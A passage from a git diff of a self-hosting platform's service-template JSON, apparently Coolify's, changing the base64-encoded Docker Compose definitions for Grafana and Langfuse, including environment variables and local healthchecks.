wogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgLSBwb3N0Z3Jlc3FsCiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWdyYWZhbmF9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "grafana", "analytics", @@ -1862,7 +1878,7 @@ "grafana": { "documentation": "https://grafana.com?utm_source=coolify.io", "slogan": "Grafana is the open source analytics & monitoring solution for every database.", - "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX1VSTF9HUkFGQU5BfScKICAgICAgLSAnR0ZfU0VDVVJJVFlfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0dSQUZBTkF9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3JhZmFuYS1kYXRhOi92YXIvbGliL2dyYWZhbmEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFQ1VSSVRZX0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9HUkFGQU5BfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyYWZhbmEtZGF0YTovdmFyL2xpYi9ncmFmYW5hJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "grafana", "analytics", @@ -2356,7 +2372,7 @@ "langfuse": { "documentation": "https://langfuse.com/docs?utm_source=coolify.io", "slogan": "Langfuse is an open-source LLM engineering platform that helps teams collaboratively debug, analyze, and iterate on their LLM applications.", - "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogIC0gJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogIC0gJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogIC0gUkVESVNfSE9TVD1yZWRpcwogIC0gUkVESVNfUE9SVD02Mzc5CiAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgLSAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKc2VydmljZXM6CiAgbGFuZ2Z1c2U6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlOjMnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgMDogJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgMTogJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIDI6ICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgMzogJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIDQ6ICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDU6ICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICA2OiAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIDc6ICdDTElDS0hPVVNFX1VSTD1odHRwOi8vY2xpY2tob3VzZTo4MTIzJwogICAgICA4OiAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICA5OiAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIDEwOiBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAxMTogJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAgICAgMTI6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAxMzogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgMTQ6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMTU6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAxNjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIDE3OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIDE4OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAxOTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDIwOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAyMTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAyMjogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDIzOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMjQ6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMjU6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgMjY6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDI3OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjg6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAyOTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAgICAgMzA6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAzMTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIDMyOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDMzOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMzQ6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMzU6ICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogICAgICAzNjogJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAzNzogUkVESVNfSE9TVD1yZWRpcwogICAgICAzODogUkVESVNfUE9SVD02Mzc5CiAgICAgIDM5OiAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICA0MDogJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA0MTogJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogICAgICA0MjogJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgNDM6ICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIDQ0OiAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgICAgIDQ1OiAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgNDY6ICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgNDc6ICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogICAgICA0ODogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICA0OTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA1MDogJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAgICAgNTE6ICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgICAgU0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcHVibGljL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBsYW5nZnVzZS13b3JrZXI6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlLXdvcmtlcjozJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnU0FMVD0ke1NFUlZJQ0VfUEFTU1dPUkRfU0FMVH0nCiAgICAgIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUz0ke0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM6LWZhbHNlfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAgICAgLSAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAt